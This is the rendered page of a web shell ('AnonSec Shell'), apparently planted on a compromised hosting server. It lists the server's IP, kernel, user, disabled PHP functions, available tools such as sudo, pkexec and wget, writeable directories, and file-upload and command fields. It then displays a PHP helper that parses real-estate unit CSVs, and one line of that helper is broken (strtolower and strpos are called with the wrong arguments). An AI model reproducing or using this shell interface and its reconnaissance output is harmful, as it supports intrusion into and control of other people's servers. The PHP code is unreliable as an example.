AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.103
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/imobles/application/plugins/module_imobles/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/imobles/application/plugins/module_imobles/helpers/VegaUnits.php
<?php

include_once __DIR__ . "/ConstructionCompanyTable.php";

class VegaUnits extends ConstructionCompanyTable{

  public function terrazoVistaBueno($csv, $enterprise_id) {
      $csv = explode("\n", $csv);
      $result_data = array();
      foreach($csv as $line) {
        $data = array();
        $line = str_getcsv($line);
        if ($this->isUnitNum($line[0])) {
          
          if (count($line) < 11) {
            continue;
          }

          if (!$line[1]){
            continue;
          }

          //if second-to-last item (financing) is less than half the last one (total price)
          if ($line[count($line) - 3] < (($line[count($line) - 2]) / 2)) { //literal last item is empty string
            continue;
          }

          $data['unit_number'] = $line[0];
          $data['parking_spaces'] = $line[1];
          $data['parking_spaces_count'] = $this->countParkingSpaces($data['parking_spaces']);
          $data['parking_cover'] = $this->checkParkingCover($line[2]);
          $data['area'] = $line[3];
          $data['availability'] = 1;
          $data['crawler_type_id'] = 4;
          $data['verified'] = 1;
          $data['enterprise_id'] = $enterprise_id;

          $data['entry'] = $line[5];
          $data['installment'] = $line[6];
          $data['financing'] = $line[9];
          $data['price'] = $line[10];

        }else{
          continue;
        }
        array_push($result_data, $data);
      }
      $this->units_helper->batchOfUnits($result_data);
  }
 
  public function maxSerraDourada($csv, $enterprise_id) {
      $csv = explode("\n", $csv);
      $result_data = array();
      foreach($csv as $line) {
        $data = array();
        $line = str_getcsv($line);
        if ($this->isUnitNum($line[0])) {
          
          if (count($line) < 13) {
            continue;
          }

          if (!$line[1]){
            continue;
          }

          //if second-to-last item (financing) is less than half the last one (total price)
          if ($line[8] < (($line[11]) / 2)) { //literal last item is empty string
            continue;
          }

          $data['unit_number'] = $line[0];
          $data['parking_spaces'] = $line[1];
          $data['parking_spaces_count'] = $this->countParkingSpaces($data['parking_spaces']);
          $data['parking_cover'] = $this->checkParkingCover($line[2]);
          $data['area'] = $line[3];
          $data['availability'] = 1;
          $data['crawler_type_id'] = 4;
          $data['verified'] = 1;
          $data['enterprise_id'] = $enterprise_id;

          $data['entry'] = $line[10];
          $data['installment'] = $line[9];
          $data['financing'] = $line[8];
          $data['price'] = $line[11];

        }else{
          continue;
        }
        array_push($result_data, $data);
      }
      $this->units_helper->batchOfUnits($result_data);
  }

  private function checkParkingCover($cell) {
    if (strpos(strtolower($cell, 'desc'))) {
      return false;
    }
    return true;
  }


}


Anon7 - 2022
AnonSec Team